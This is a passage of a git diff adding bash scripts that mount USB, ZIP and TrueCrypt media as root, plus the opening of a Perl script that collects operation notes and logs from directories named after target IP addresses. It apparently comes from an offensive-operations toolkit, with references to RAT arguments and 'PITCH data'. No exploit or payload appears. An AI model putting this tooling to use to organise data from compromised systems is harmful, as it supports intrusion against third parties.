"$1" = "-h" ] ; then + shift + [ "$ERRSTR" ] || ERRSTR="\nNOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!" + echo -e "$usagetext" + fi + # We want -v output to be just two digits, so scrubver is #.# + # and suitever can have whole #.#.#.# in it. + if [ "$1" = "-v" ] ; then + shift + fi + echo "$PROG version $VER" + ERRSTR="${*}" + if [ "$ERRSTR" ] ; then + echo -e "\a${ERRSTR}" + fi + [ "$EXIT" ] && exit +} # end usage + + +MYDIR=`dirname $0` +if [ ! -e "$MYDIR/unfindzip" ] ; then + ln -sf findzip $MYDIR/unfindzip + ln -sf findzip $MYDIR/mz + ln -sf findzip $MYDIR/uz +fi + +QUIET="" +while getopts hvqu optvar ; do + case "$optvar" in + v|h) usage exit -$optvar ;; + q) QUIET="#QUIET " ;; + u) UNMOUNT=1 ;; + *) usage exit "Argument not recognized: $1" ;; + esac +done +shift `expr $OPTIND - 1` + +ROOT=`id -u` + +if [ $ROOT != 0 ] ; then + [ "$QUIET" ] || echo You must be root 1>&2 + exit 1 +fi +findzipdev +RESULT=$? +[ "$DEBUG" ] && echo DBG:::: after first call to findzipdev RESULT=$RESULT QUIET=$QUIET UNMOUNT=$UNMOUNT MNTPNT1=$MNTPNT1 +if [ $UNMOUNT == 1 ] ; then + for mnt in $ALLMNTS ; do + if [ -d $mnt ] ; then + MORE="" + mount | grep -q " on ${mnt} " && MORE="This device is still mounted" + [ "$MORE" ] && echo "$MORE" + echo ls -arlt $mnt 1>&2 + ls -arlt $mnt 1>&2 + else + echo $mnt unmounted and removed + fi + done + exit $RESULT +fi +[ "$DEBUG" ] && echo DBG:::: DBG: THISMNT=$THISMNT +if [ ! "$THISMNT" ] ; then + [ "$DEBUG" ] && echo DBG:::: in secondfindzipdev + sleep 2 + findzipdev + RESULT=$? +fi +[ "$DEBUG" ] && echo DBG:::: RESULT=$RESULT QUIET=$QUIET MNTPNT1=$MNTPNT1 MNTPNT2=$MNTPNT2 MNTPNT3=$MNTPNT3 +if [ ! "$QUIET" ] ; then + for mnt in $ALLMNTS ; do + [ "$DEBUG" ] && echo DBG:::: DBG mnt=$mnt + [ "$mnt" = "$THISMNT" ] && continue + if [ -d "$mnt" ] ; then + echo ls -arlt $mnt 1>&2 + ls -arlt $mnt 1>&2 + fi + done + # Show all mounted /mnt/zip* devices if not quiet mode regardless of whether + # we just mounted + if [ "$THISMNT" -a -d "$THISMNT" ] ; then + echo ls -arlt $THISMNT 1>&2 + ls -arlt $THISMNT 1>&2 + fi + mount | grep "/mnt/zip" 1>&2 +fi +# We show THISMNT last here since it's the most recently mounted +if [ "$THISMNT" -a -d $THISMNT ] ; then + # We export MNTPNT as the most recently mounted one + export MNTPNT=$THISMNT +fi +if [ $RESULT != 0 ] ; then + [ "$DEBUG" ] && echo DBG:::: we in result not 0 but $RESULT + if [ "$FIRSTUSBDEV" ] ; then + MORE=" second" + fi + if [ "$SECONDUSBDEV" ] ; then + MORE=" third" + fi + if [ ! "$QUIET" ] ; then + echo no$MORE ZIP or USB media found 1>&2 + fi +fi +if [ -d "$MNTPNT1" ] ; then + echo export MNTPNT1=$MNTPNT1 + [ "$MNTPNT" ] || export MNTPNT=$MNTPNT1 +fi +[ -d "$MNTPNT2" ] && echo export MNTPNT2=$MNTPNT2 +[ -d "$MNTPNT3" ] && echo export MNTPNT3=$MNTPNT3 +[ "$MNTPNT" ] && echo export MNTPNT=$MNTPNT +df -h | grep zip && df -h | grep Avail +exit $RESULT diff --git a/Linux/bin/findzip.old1 b/Linux/bin/findzip.old1 new file mode 100755 index 0000000..b6622fc --- /dev/null +++ b/Linux/bin/findzip.old1 @@ -0,0 +1,330 @@ +#!/bin/bash +VER=1.0.2.4 +## 19 JUL 2006 +# shell script to find ZIP or USB (or some future) media for scrubhands +# (or operator) to use for tarball/data transfer. +## +export MNTPNT1="/mnt/zip" +export MNTPNT2="/mnt/zip2" +export MNTPNT3="/mnt/zip3" + +findzipdev() { + # Make /dev/sd[ab]4 block devices with mknod + for L in a b c d e f g h; do + if [ ! -b /dev/sd${L}4 ] ; then + mknod /dev/sd${L}4 b 8 4 2>/dev/null + chown root:disk /dev/sd${L}4 2>/dev/null + chmod 660 /dev/sd${L}4 2>/dev/null + fi + done + + # We find some device to mount on ${THISMNT} if nothing there already. + # By "some" we mean first a thumb drive if it is there, or a ZIP disk + # if we can find one. + + + export MNTPNT1="/mnt/zip" + export MNTPNT2="/mnt/zip2" + export MNTPNT3="/mnt/zip3" + export ALLMNTS="$MNTPNT1 $MNTPNT2 $MNTPNT3" + export LASTMNT=`echo $ALLMNTS | sed "s/.* //g"` + + # Our /mnt/zip* devices + DEV1=`mount | grep " on $MNTPNT1 " | head -1 | sed "s/ .*//g"` + DEV2=`mount | grep " on $MNTPNT2 " | head -1 | sed "s/ .*//g"` + DEV3=`mount | grep " on $MNTPNT3 " | head -1 | sed "s/ .*//g"` + + # Other non /mnt/zip* devices + OTHDEV1=`mount | grep -v " on $MNTPNT1" | grep "^/" | head -1 | sed "s/ .*//g"` + OTHDEV2=`mount | grep -v " on $MNTPNT1" | grep "^/" | head -2 | tail -1 | sed "s/ .*//g"` + [ "$OTHDEV2" = "$OTHDEV1" ] && OTHDEV2="" + OTHDEV3=`mount | grep -v " on $MNTPNT1" | grep "^/" | head -3 | tail -1 | sed "s/ .*//g"` + [ "$OTHDEV3" = "$OTHDEV2" -o "$OTHDEV3" = "$OTHDEV1" ] && OTHDEV3="" + MNT1=`mount | grep " on $MNTPNT1 " | head -1 | sed "s/.* on //g" | sed "s/ .*//g"` + MNT2=`mount | grep " on $MNTPNT2 " | head -1 | sed "s/.* on //g" | sed "s/ .*//g"` + MNT3=`mount | grep " on $MNTPNT3 " | head -1 | sed "s/.* on //g" | sed "s/ .*//g"` + [ "$DEBUG" ] && echo DBG::::DEV1=$DEV1 DEV2=$DEV2 DEV3=$DEV3 OTHDEV1=$OTHDEV1 OTHDEV2=$OTHDEV2 OTHDEV3=$OTHDEV3 + if [ $UNMOUNT == 0 -a "$DEV1" -a "$DEV2" -a "$DEV3" ] ; then + # Do nothing if third/last ${MNTPNTx} already mounted + if [ ! "$QUIET" ] ; then + echo "MAX of three mounts already done with findzip/mz" + mount | grep $MNTPNT1 + fi +return 1 + exit 1 + fi + for TRYMNT in $ALLMNTS LAST ; do + [ "$DEBUG" ] && echo DBG::::DBG TRYMNT=$TRYMNT LASTMNT=$LASTMNT + mount | grep -q " on $TRYMNT " && continue +# else + FIRSTUSBDEV=`mount | grep " on $MNTPNT1 "` + SECONDUSBDEV=`mount | grep " on $MNTPNT2 "` + THIRDUSBDEV=`mount | grep " on $MNTPNT3 "` + [ "$SECONDUSBDEV" = "$FIRSTUSBDEV" ] && SECONDUSBDEV="" + [ "$DEBUG" ] && echo DBG::::FIRSTUSBDEV=$FIRSTUSBDEV SECONDUSBDEV=$SECONDUSBDEV THIRDUSBDEV=$THIRDUSBDEV + if [ $UNMOUNT -gt 0 ] ; then + if [ "$THIRDUSBDEV" ] ; then + umount $DEV3 + RESULT=$? + rmdir $ALLMNTS 2>/dev/null + test $RESULT == 0 && return 0 + umount $DEV3 + RESULT=$? + rmdir $ALLMNTS 2>/dev/null + return $RESULT + elif [ "$SECONDUSBDEV" ] ; then + umount $DEV2 + RESULT=$? + rmdir $ALLMNTS 2>/dev/null + test $RESULT == 0 && return 0 + umount $DEV2 + RESULT=$? + rmdir $ALLMNTS 2>/dev/null + return $RESULT + elif [ "$FIRSTUSBDEV" ] ; then + umount $DEV1 + RESULT=$? + rmdir $ALLMNTS 2>/dev/null + test $RESULT == 0 && return 0 + umount $DEV1 + RESULT=$? + rmdir $ALLMNTS 2>/dev/null + return $RESULT + else + # OK, we're good nothing mounted + return 0 + fi + fi + # ASSERT: We are mounting UNMOUNT==0 + [ "$DEBUG" ] && echo -e "DBG:::: Here with:\nMNTPNT1=$MNTPNT1 MNTPNT2=$MNTPNT2 MNTPNT3=$MNTPNT3\nFIRSTUSBDEV=$FIRSTUSBDEV\nSECOND=$SECONDUSBDEV THIRD=$THIRDUSBDEV\nUNMOUNT=$UNMOUNT" + + # look for mountable USB device with tarball first +# USBDEVS=`grep -i "Attached scsi removable disk" /var/log/messages | sed "s/.* disk //g" | sed "s/ .*//g" | sort -u` + USBDEVS=`egrep "sd[abcdefgh]: sd[abcdefgh][0-9]" /var/log/messages | sed "s/.* sd.: sd\([abcdefgh]\)[0-9].*/sd\1/g" | uniq` + [ "$DEBUG" ] && echo DBG:::: egrep \"sd[abcdefgh]: sd[abcdefgh][0-9]\" /var/log/messages \| sed \"s/.* sd.: sd\\\([abcdefgh]\\\)[0-9].*/sd\\1/g\" \| uniq + [ "$DEBUG" ] && echo DBG:::: "USBDEVS=$USBDEVS" + export THISMNT=$MNTPNT1 + for USBDEV in $USBDEVS ZIPONLY ; do + [ "$DEBUG" ] && echo DBG:::: "USBDEV=$USBDEV USBDEV2=$USBDEV2" + if [ ! "$USBDEV" = "ZIPONLY" ] ; then + [ "$DEBUG" ] && echo DBG:::: 0: USBDEV=$USBDEV USBMNT=$USBMNT + USBMNT=`grep "${USBDEV}: $USBDEV" /var/log/messages | tail -1 | awk '{print \$7}'` + [ "$USBMNT" ] || USBMNT=${USBDEV}1 + USBDEV=/dev/$USBMNT + [ "$DEBUG" ] && echo DBG:::: 1: USBDEV=$USBDEV USBMNT=$USBMNT USBDEV2=$USBDEV2 FIRSTUSBDEV=$FIRSTUSBDEV + [ "$USBDEV" = "$OTHDEV1" -o "$USBDEV" = "$OTHDEV2" -o "$USBDEV" = "$OTHDEV3" ] && continue + [ "$USBDEV" = "$DEV1" -o "$USBDEV" = "$DEV2" -o "$USBDEV" = "$DEV3" ] && continue + fi + [ "$DEV1" ] && THISMNT=$MNTPNT2 + [ "$DEV2" ] && THISMNT=$MNTPNT3 + # Make $THISMNT dir if needed + if [ ! -d $THISMNT ] ; then + if [ -e $THISMNT ] ; then + usage exit "FATAL ERROR: ${THISMNT} should be a directory: `ls -al ${THISMNT}`" + fi + mkdir -p $THISMNT 2>/dev/null + fi + for dev in $USBDEV LAST ; do + [ "$dev" = "LAST" ] && break + [ "$dev" = "$DEV1" -o "$dev" = "$DEV2" -o "$dev" = "$DEV3" ] && continue + [ "$dev" = "$OTHDEV1" -o "$dev" = "$OTHDEV2" -o "$dev" = "$OTHDEV3" ] && continue + [ "$DEBUG" ] && echo DBG:::: trying mount $dev $THISMNT + mount $dev ${THISMNT} 2>/dev/null && break + done + if [ "$dev" = "LAST" ] ; then + for ltr in a b c d e f g h ; do + for dev in /dev/sd${ltr}4 /dev/sd${ltr}1 /dev/sd${ltr} /dev/hd${ltr}4 /dev/hd${ltr}1 /dev/hd${ltr} LAST ; do + [ "$dev" = "LAST" ] && break + [ "$dev" = "$OTHDEV1" -o "$dev" = "$OTHDEV2" -o "$dev" = "$OTHDEV3" ] && continue + [ "$dev" = "$DEV1" -o "$dev" = "$DEV2" -o "$dev" = "$DEV3" ] && continue + [ "$DEBUG" ] && echo DBG:::: second trying mount $dev $THISMNT + mount $dev ${THISMNT} 2>/dev/null && break + done + [ "$dev" = "LAST" ] || break + done + fi + [ "$DEBUG" ] && echo DBG:::: dev=$dev + if [ "$dev" = "LAST" ] ; then + rmdir $THISMNT 2>/dev/null + continue + fi + mount | grep -q " on ${THISMNT} " && break + done + # Return OK (0) if mounted + break + done + [ "$DEBUG" ] && echo DBG:::: DBG: THISMNT=$THISMNT FIRSTUSBDEV=$FIRSTUSBDEV SECOND=$SECONDUSBDEV THIRD=$THIRDUSBDEV + export MNTPNT=$MNT1 + [ "$MNT2" ] && export MNTPNT=$MNT2 + [ "$MNT3" ] && export MNTPNT=$MNT3 + mount | grep -q " on ${THISMNT} " && return 0 + # Return err if not + return 1 +} + +# Here, if we see that we were called as something other than "findzip" +# We just exit. This allows other scripts to source this one to get +# findzipdev(). +# +UNMOUNT=0 +if [ ! "`echo $0 | egrep \"uz$|findzip|mz$\"`" ] ; then +# exit 1 + return +fi +if [ "`echo $0 | egrep \"uz|unfindzip\"`" ] ; then + UNMOUNT=1 +fi + +# Since we were not sourced then, we define our own PROG, VER and usage() +PROG=`basename ${0}` + +usagetext=" +Usage: $PROG [-u] [-q] + +findzip tries to find a removable USB drive, using recent log entries +in /var/log/messages to find the right device. If it cannot, it +proceeds to try and find a ZIP drive. It can mount up to three distinct +devices in this manner. + +Run with the -u option (or alternatively as the softlink unfindzip), +it attempts to unmount the device it most recently mounted. When it +unmounts the device, the mount point directory is also removed. + +If it finds one not already mounted, it is mounted as $MNTPNT1 or +$MNTPNT2 or $MNTPNT3, whichever is first available. Then, this +is output to stdout for those that are currently mounted, and the +final line will be the most recently mounted mount point. + + export MNTPNT1=/mnt/zip + export MNTPNT2=/mnt/zip2 + export MNTPNT3=/mnt/zip3 + export MNTPNT=(varies) + +The quiet (-q) option will suppress informational and error messages +to stderr, so you will see only the appropriate lines as above. In +non-quiet mode, you will see a \"ls -alrt\" output for each mounted +device. + +$PROG returns 0 on success, 1 otherwise. + +You must be root to run $PROG. + +$PROG is a bash script, and other scripts can source $PROG to +import (but not run) the function findzipdev. See $PROG source for +more detail. When the script runs findzipdev() it will then have +the MNTPNT* definitions for those that are mounted. +" + +usage() { + [ "$1" = "exit" ] && EXIT=1 && shift + if [ "$1" = "-h" ] ; then + shift + [ "$ERRSTR" ] || ERRSTR="\nNOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!" + echo -e "$usagetext" + fi + # We want -v output to be just two digits, so scrubver is #.# + # and suitever can have whole #.#.#.# in it. + if [ "$1" = "-v" ] ; then + shift + fi + echo "$PROG version $VER" + ERRSTR="${*}" + if [ "$ERRSTR" ] ; then + echo -e "\a${ERRSTR}" + fi + [ "$EXIT" ] && exit +} # end usage + + +MYDIR=`dirname $0` +if [ ! -e "$MYDIR/unfindzip" ] ; then + ln -sf findzip $MYDIR/unfindzip + ln -sf findzip $MYDIR/mz + ln -sf findzip $MYDIR/uz +fi + +QUIET="" +while getopts hvqu optvar ; do + case "$optvar" in + v|h) usage exit -$optvar ;; + q) QUIET="#QUIET " ;; + u) UNMOUNT=1 ;; + *) usage exit "Argument not recognized: $1" ;; + esac +done +shift `expr $OPTIND - 1` + +ROOT=`id -u` + +if [ $ROOT != 0 ] ; then + [ "$QUIET" ] || echo You must be root 1>&2 + exit 1 +fi +findzipdev +RESULT=$? +[ "$DEBUG" ] && echo DBG:::: after first call to findzipdev RESULT=$RESULT QUIET=$QUIET UNMOUNT=$UNMOUNT MNTPNT1=$MNTPNT1 +if [ $UNMOUNT == 1 ] ; then + for mnt in $ALLMNTS ; do + if [ -d $mnt ] ; then + MORE="" + mount | grep -q " on ${mnt} " && MORE="This device is still mounted" + [ "$MORE" ] && echo "$MORE" + echo ls -arlt $mnt 1>&2 + ls -arlt $mnt 1>&2 + else + echo $mnt unmounted and removed + fi + done + exit $RESULT +fi +[ "$DEBUG" ] && echo DBG:::: DBG: THISMNT=$THISMNT +if [ ! "$THISMNT" ] ; then + [ "$DEBUG" ] && echo DBG:::: in secondfindzipdev + sleep 2 + findzipdev + RESULT=$? +fi +[ "$DEBUG" ] && echo DBG:::: RESULT=$RESULT QUIET=$QUIET MNTPNT1=$MNTPNT1 MNTPNT2=$MNTPNT2 MNTPNT3=$MNTPNT3 +if [ ! "$QUIET" ] ; then + for mnt in $ALLMNTS ; do + [ "$DEBUG" ] && echo DBG:::: DBG mnt=$mnt + [ "$mnt" = "$THISMNT" ] && continue + if [ -d "$mnt" ] ; then + echo ls -arlt $mnt 1>&2 + ls -arlt $mnt 1>&2 + fi + done + # Show all mounted /mnt/zip* devices if not quiet mode regardless of whether + # we just mounted + if [ "$THISMNT" -a -d "$THISMNT" ] ; then + echo ls -arlt $THISMNT 1>&2 + ls -arlt $THISMNT 1>&2 + fi + mount | grep "/mnt/zip" 1>&2 +fi +# We show THISMNT last here since it's the most recently mounted +if [ "$THISMNT" -a -d $THISMNT ] ; then + # We export MNTPNT as the most recently mounted one + export MNTPNT=$THISMNT +fi +if [ $RESULT != 0 ] ; then + [ "$DEBUG" ] && echo DBG:::: we in result not 0 but $RESULT + if [ "$FIRSTUSBDEV" ] ; then + MORE=" second" + fi + if [ "$SECONDUSBDEV" ] ; then + MORE=" third" + fi + if [ ! "$QUIET" ] ; then + echo no$MORE ZIP or USB media found 1>&2 + fi +fi +if [ -d "$MNTPNT1" ] ; then + echo export MNTPNT1=$MNTPNT1 + [ "$MNTPNT" ] || export MNTPNT=$MNTPNT1 +fi +[ -d "$MNTPNT2" ] && echo export MNTPNT2=$MNTPNT2 +[ -d "$MNTPNT3" ] && echo export MNTPNT3=$MNTPNT3 +[ "$MNTPNT" ] && echo export MNTPNT=$MNTPNT +df -h | grep zip && df -h | grep Avail +exit $RESULT diff --git a/Linux/bin/findzip.old_no_FG b/Linux/bin/findzip.old_no_FG new file mode 100755 index 0000000..e9dbbed --- /dev/null +++ b/Linux/bin/findzip.old_no_FG @@ -0,0 +1,319 @@ +#!/bin/bash +VER=2.1.0.2 +## 09 FEB 2008 +# shell script to unmount encrypted partitions. This could be done easily with +# a truecrypt command, but for backwards compatability sake, this script needs +# has been modified. +## + +MNTPNTBASE="/mnt/zip" +KEYFILE="/etc/keyfile" +export TRUECRYPT=1 +export UNMOUNT=0 +export MNTPNT1="/mnt/zip" +export MNTPNT2="/mnt/zip2" +export MNTPNT3="/mnt/zip3" + + + +findzipdev() { + +# +# All these exports are legacy, I would rather leave them in than risk +# breaking something +# + export MNTPNT1="/mnt/zip" + export MNTPNT2="/mnt/zip2" + export MNTPNT3="/mnt/zip3" + export ALLMNTS="$MNTPNT1 $MNTPNT2 $MNTPNT3" + export LASTMNT=`echo $ALLMNTS | sed "s/.* //g"` + + [ "$*" = "-u" ] && UNMOUNT=1 + + # + # If the fuse kernel module is not loaded, truecrypt cannot mount the + # encrypted partition, this checks and tries to load it + # + + FUSE_DRIVER_LOADED=`lsmod | grep "^fuse"` +# echo "FUSE_DRIVER_LOADED=${FUSE_DRIVER_LOADED}" + if [[ -z ${FUSE_DRIVER_LOADED} ]] ; then + echo "fuse module not loaded, attempting to load it" ; + modprobe fuse + FUSE_DRIVER_LOADED=$? +# echo "FUSE_DRIVER_LOADED=${FUSE_DRIVER_LOADED}" + if [[ ${FUSE_DRIVER_LOADED} -gt 0 ]] ; then + echo "Loading module failed, exiting"; exit -1 ; + fi + fi + + +# +# Legacy Variables, could probably get rid of them +# + + # Our /mnt/zip* devices + DEV1=`mount | grep " on $MNTPNT1 " | head -1 | sed "s/ .*//g"` + DEV2=`mount | grep " on $MNTPNT2 " | head -1 | sed "s/ .*//g"` + DEV3=`mount | grep " on $MNTPNT3 " | head -1 | sed "s/ .*//g"` + + # Other non /mnt/zip* devices + OTHDEV1=`mount | grep -v " on $MNTPNT1" | grep "^/" | head -1 | sed "s/ .*//g"` + OTHDEV2=`mount | grep -v " on $MNTPNT1" | grep "^/" | head -2 | tail -1 | sed "s/ .*//g"` + [ "$OTHDEV2" = "$OTHDEV1" ] && OTHDEV2="" + OTHDEV3=`mount | grep -v " on $MNTPNT1" | grep "^/" | head -3 | tail -1 | sed "s/ .*//g"` + [ "$OTHDEV3" = "$OTHDEV2" -o "$OTHDEV3" = "$OTHDEV1" ] && OTHDEV3="" + + MNT1=`mount | grep " on $MNTPNT1 " | head -1 | sed "s/.* on //g" | sed "s/ .*//g"` + MNT2=`mount | grep " on $MNTPNT2 " | head -1 | sed "s/.* on //g" | sed "s/ .*//g"` + MNT3=`mount | grep " on $MNTPNT3 " | head -1 | sed "s/.* on //g" | sed "s/ .*//g"` + + +# +# This next line greps through /var/log/messages and pulls out USB devices. +# It pulls out sd[abc] etc instead of sd[abc]1 because we are using full disk +# encryption and therfore don't have sd[abc]1 +# + USBDEVS=`egrep "kernel: Attached scsi removable disk" /var/log/messages | sed "s/^.*removable disk sd\([a-h]\).*$/sd\1/g" | sort | uniq` + +[ "$DEBUG" ] && echo USBDEVS=$USBDEVS + +# +# If any USB devices are mounted, unmount them. I am not sure if this will +# unmount CDROM drives, I guess it depends on if they are recognized as scsi +# removable disks. We should never mount a thumb drive once this goes into +# effect. +# + echo "Unmounting all USB devices" + for USBDEV in $USBDEVS; do + umount /dev/${USBDEV}* 2>/dev/null + done + +# +# If we are called as uz or with the -u option, unmount everything and return +# + RESULT2=0 + if [ $UNMOUNT -gt 0 ] ; then + if [ $TRUECRYPT -gt 0 ] ; then + echo "Unmounting all truecrypt partitions." + truecrypt -d + RESULT2=$? + LEFTOVER=`truecrypt --list 2>/dev/null` + [[ -z "$LEFTOVER" ]] || return 1 + [[ -z "$LEFTOVER" ]] && return 0 + else + echo umount ${MNTPNTBASE}* + umount ${MNTPNTBASE}* 2>/dev/null + RESULT2=$? + fi + rmdir ${MNTPNTBASE}* 2>/dev/null + return $RESULT2 + fi + + +# +# This is the heart of the new code. MNTPNTBASE (defined at the top of this +# file) holds the first mount point to try. If that one is already mounted, or +# is non-directory file, then increment by one and try again (/mnt/zip2, etc) +# there is no hard stop here. Conceviebly, you could get to /mnt/zip999, but +# I hope not. +# + MNTPNT="${MNTPNTBASE}" + ZIPNUM="1" + RESULT=1 + for USBDEV in ${USBDEVS}; do + + if [ ! -e /dev/${USBDEV} ] ; then continue; fi + while [ -e "${MNTPNT}" -a ! -d "${MNTPNT}" ]; do + # echo "${MNTPNT} exists and is not a folder, skipping" + ZIPNUM=`echo "$ZIPNUM + 1" | bc` + MNTPNT="${MNTPNTBASE}${ZIPNUM}" + continue + done + MNTRESULTS=`mount | egrep " on $MNTPNT "` + while [ -n "${MNTRESULTS}" ] ; do + # echo "${MNTPNT} is already mounted to, moving on" + ZIPNUM=`echo "$ZIPNUM + 1" | bc` + MNTPNT="${MNTPNTBASE}${ZIPNUM}" + MNTRESULTS=`mount | egrep " on $MNTPNT "` + done + + # + # If the mount point we are trying to mount to does not exist, create it. + # + [[ -d ${MNTPNT} ]] || mkdir ${MNTPNT} + + # + # The one truecrypt line does most of the work. + # + [ -e /dev/${USBDEV}1 -a -b /dev/${USBDEV}1 ] && USBDEV="${USBDEV}1" && export ${USBDEV} + if [ $TRUECRYPT -gt 0 ] ; then + echo "Mounting /dev/${USBDEV} READONLY to ${MNTPNT} with truecrypt::" + echo "# truecrypt -t -k \"${KEYFILE}\" -m ro /dev/${USBDEV} ${MNTPNT} 2>/dev/null " + truecrypt -t -k "${KEYFILE}" -m ro /dev/${USBDEV} ${MNTPNT} 2>/dev/null + else + echo "Mounting /dev/${USBDEV} READONLY to ${MNTPNT} without truecrypt::" + echo "# mount -o ro /dev/${USBDEV} $MNTPNT" + mount -o ro /dev/${USBDEV} $MNTPNT + fi + # + # After a successful mount, ls the zip drive + # + SUCCESS=$? + # echo "SUCCESS=$SUCCESS" + if [ ${SUCCESS} -eq 0 ] ; then RESULT=0; fi + [ ${SUCCESS} -eq 0 ] && echo "ls -alrtd ${MNTPNT}/*" + [ ${SUCCESS} -eq 0 ] && ls -alrtd ${MNTPNT}/* + [ ${SUCCESS} -gt 0 ] && echo + done + + # + # scrubands uses $MNTPNT, and THISMNT is used by legacy code if findzip is not + # sourced + # + export MNTPNT=${MNTPNT} + THISMNT=${MNTPNT} + + # + # Return 0 if even one encrypted partion is mounted + # + if [ $TRUECRYPT -gt 0 ] ; then + truecrypt --list > /dev/null 2>&1 + RESULT=$? + fi + return $RESULT +} + + +# +# if we are not called as mz,uz or findzip, exit. This allows this script to +# be sourced so other scripts can have the findzipdev() functionality +# +if [ ! "`echo $0 | egrep \"uz$|findzip|mz$\"`" ] ; then +# exit 1 + return +fi +if [ "`echo $0 | egrep \"uz|unfindzip\"`" ] ; then + UNMOUNT=1 +fi + + +# Since we were not sourced then, we define our own PROG, VER and usage() +PROG=`basename ${0}` + +usagetext=" +Usage: $PROG [-t] [-u] [-q] + +findzip tries to find a removable USB drive, using recent log entries +in /var/log/messages to find the right device. If it cannot, it +proceeds to try and find a ZIP drive. It can mount up to three distinct +devices in this manner. + +Run with the -u option (or alternatively as the softlink unfindzip), +it attempts to unmount the device it most recently mounted. When it +unmounts the device, the mount point directory is also removed. + +If it finds one not already mounted, it is mounted as $MNTPNT1 or +$MNTPNT2 or $MNTPNT3, whichever is first available. Then, this +is output to stdout for those that are currently mounted, and the +final line will be the most recently mounted mount point. + + export MNTPNT1=/mnt/zip + export MNTPNT2=/mnt/zip2 + export MNTPNT3=/mnt/zip3 + export MNTPNT=(varies) + +Use the -t option to disable use of TRUECRYPT, if you are permitted. + +The quiet (-q) option will suppress informational and error messages +to stderr, so you will see only the appropriate lines as above. In +non-quiet mode, you will see a \"ls -alrtd\" output for each mounted +device that shows the FULL path to files on the root directory. + +$PROG returns 0 on success, 1 otherwise. + +You must be root to run $PROG. + +$PROG is a bash script, and other scripts can source $PROG to +import (but not run) the function findzipdev. See $PROG source for +more detail. When the script runs findzipdev() it will then have +the MNTPNT* definitions for those that are mounted. +" + +usage() { + [ "$1" = "exit" ] && EXIT=1 && shift + if [ "$1" = "-h" ] ; then + shift + [ "$ERRSTR" ] || ERRSTR="\nNOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!" + echo -e "$usagetext" + fi + # We want -v output to be just two digits, so scrubver is #.# + # and suitever can have whole #.#.#.# in it. + if [ "$1" = "-v" ] ; then + shift + fi + echo "$PROG version $VER" + ERRSTR="${*}" + if [ "$ERRSTR" ] ; then + echo -e "\a${ERRSTR}" + fi + [ "$EXIT" ] && exit +} # end usage + + +MYDIR=`dirname $0` +if [ ! -e "$MYDIR/unfindzip" ] ; then + ln -sf findzip $MYDIR/unfindzip + ln -sf findzip $MYDIR/mz + ln -sf findzip $MYDIR/uz +fi + +QUIET="" +TRUECRYPT=1 +while getopts hvqut optvar ; do + case "$optvar" in + v|h) usage exit -$optvar ;; + q) QUIET="#QUIET " ;; + u) UNMOUNT=1 ;; + t) TRUECRYPT=0 ;; + *) usage exit "Argument not recognized: $1" ;; + esac +done +shift `expr $OPTIND - 1` + +ROOT=`id -u` + +if [ $ROOT != 0 ] ; then + [ "$QUIET" ] || echo You must be root 1>&2 + exit 1 +fi + +findzipdev +RESULT=$? + + +if [ $UNMOUNT -gt 0 ] ; then + rmdir ${MNTPNTBASE}* 2>/dev/null + for mnt in $ALLMNTS ; do + if [ -d $mnt ] ; then + MORE="" + mount | grep -q " on ${mnt} " && MORE="This device is still mounted" + [ "$MORE" ] && echo "$MORE" + echo ls -arlt $mnt 1>&2 + ls -arlt $mnt 1>&2 + else + echo $mnt unmounted and removed + fi + done + exit $RESULT +fi + +if [ "$THISMNT" -a -d $THISMNT ] ; then + # We export MNTPNT as the most recently mounted one + export MNTPNT=$THISMNT +fi + +echo +df -h ${MNTPNTBASE}* | grep zip ; df -h ${MNTPNTBASE}* | grep Avail +exit $RESULT + diff --git a/Linux/bin/finishOp.pl.winbox b/Linux/bin/finishOp.pl.winbox new file mode 100755 index 0000000..57b9f7c --- /dev/null +++ b/Linux/bin/finishOp.pl.winbox @@ -0,0 +1,837 @@ +# Updated 3/24/2009 +# +# 3/3/09 -- Stores data in to_pp instead of thumbdrive +# 3/4/09 -- Grabs BZ2 from smb share. +# 3/16/09 -- fixed prompt related to bz2 tarballs +# 3/20/09 -- Clarified the share mounting prompts +# 3/24/09 -- copy op.done.by* from share also +# + +# find all IP directories +use FindBin; +#use lib "$FindBin::Bin/../tools/library'; +use File::Copy; +use File::Path; +use Cwd; + +use strict; + +my $mainpath=cwd(); + +my (@dirs, $opbase, $answer, %TargetInOpnotes, @TargetInfo, $line); +my $OpStatus = 'successful'; + +if (not(-d "y:/")) { + print "\n\n** UNABLE TO DETECT LINUX SHARE **\n\n"; + print "** Mount it now to copy PITCH data.\n\n"; + print "Hit ENTER when ready or to continue with none.\n\n"; + ; +} + +my $zipdisk='d:\\to_pp'; +print "Please enter final output directory [$zipdisk]: "; +$answer = ; +chomp($answer); +$zipdisk = $answer if $answer; +$zipdisk =~ s/([^\/\\])$/$1\//; + +if (not(-e $zipdisk)) { + mkpath($zipdisk); +} + +#while (! -e $zipdisk) { +# print "Can't find media in $zipdisk\nPlease enter drive of removable media: "; +# $zipdisk = ; +# chomp($zipdisk); +# $zipdisk =~ s/[^\/\\]$/$1\//; +#} + +# print "Note: Please place *nix bz2 file in \"$zipdisk\" if applicable.\n\n"; + +my $phoneLog="$zipdisk/phonelog.txt"; +my $deleteMe="$zipdisk/deleteme.txt"; + + +#this script is in the Tools dir, so go up one directory to get the opdisk root dir +#(my $opsdisk = $mainpath) =~ s/[\/\\]+[^\/\\]+$//; +my $opsdisk = "D:\\OPSDisk"; + +print "Please Enter Root Directory of the OPSDisk [$opsdisk]: "; +$answer = ; +chomp($answer); +$opsdisk = $answer if $answer; +while (!( -e $opsdisk)){ + print "Can't find OPSDisk in $opsdisk\nPlease Enter Root Directory of the OPSDisk: "; + $opsdisk = ; + chomp($opsdisk); +} + +foreach my $tempOpbase ('D:/','C:/') { + opendir OPS, $tempOpbase; + my @readdirs= grep { /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ } readdir OPS; + closedir OPS; + while (my $dir=shift(@readdirs)) { + push @dirs, "$tempOpbase/$dir"; + } + if (scalar(@dirs) > 0) { + $opbase=$tempOpbase; + last; + } +} + +foreach my $dir (@dirs) { + print "Found $dir\n"; +} + +# Note project of targets +my %project=(); +# Note system type of targets +my %systype=(); + +######find opnotes and copy into all directories + +print "Finding opnotes.\n"; +my @opnotes=(); +foreach my $dir (@dirs) { + if (-e "$dir/opnotes.txt") { + push @opnotes, "$dir/opnotes.txt"; + } + if (-e "$dir/router.log") 